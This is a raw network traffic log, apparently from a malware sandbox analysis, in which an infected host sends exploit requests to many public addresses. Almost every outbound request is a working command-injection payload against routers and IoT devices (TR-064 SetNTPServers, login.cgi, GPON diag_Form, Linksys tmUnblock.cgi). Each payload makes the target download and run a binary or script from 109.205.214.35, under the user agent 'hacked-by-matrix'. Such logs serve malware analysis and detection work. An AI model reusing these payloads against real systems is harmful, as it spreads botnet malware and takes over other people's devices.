Mar 21, 2024 05:17:56.929150105 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:57.625411987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:57.747734070 CET	113	IN	HTTP/1.1 400 Bad Request Date: Thu 21 Mar 2024 04:17:57 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.23	45172	47.133.114.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.968425989 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:01.080733061 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.23	55518	212.129.17.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.968508959 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:57.133292913 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:57 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.23	37810	88.218.206.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.968854904 CET	22	IN	Data Raw: 6f 2f 3b 60 3b 36 37 63 0d 0a Data Ascii: o/;`;67c
Mar 21, 2024 05:17:57.608469963 CET	22	IN	Data Raw: 6f 2f 3b 60 3b 36 37 63 0d 0a Data Ascii: o/;`;67c

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.23	50268	52.50.158.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.976687908 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:57.214862108 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:17:57 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.23	38268	177.85.210.39	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.028090000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:57.717932940 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:57.936614990 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:57 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.23	50924	178.232.23.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.186777115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.23	44302	79.92.26.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.186779976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.23	54882	79.22.65.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.186811924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.23	60864	5.15.133.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.186850071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.23	46738	37.48.77.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.186973095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.23	45986	5.216.158.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.187000990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.23	52750	37.222.21.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.187004089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.23	49638	94.222.38.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.187052965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.23	40706	210.0.201.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.187109947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.23	45206	47.133.114.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.215095997 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.23	35930	154.12.125.232	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.215545893 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:57.343799114 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:07:15 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3444 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.23	53514	94.33.6.219	7547

Timestamp	Bytes transferred	Direction	Data
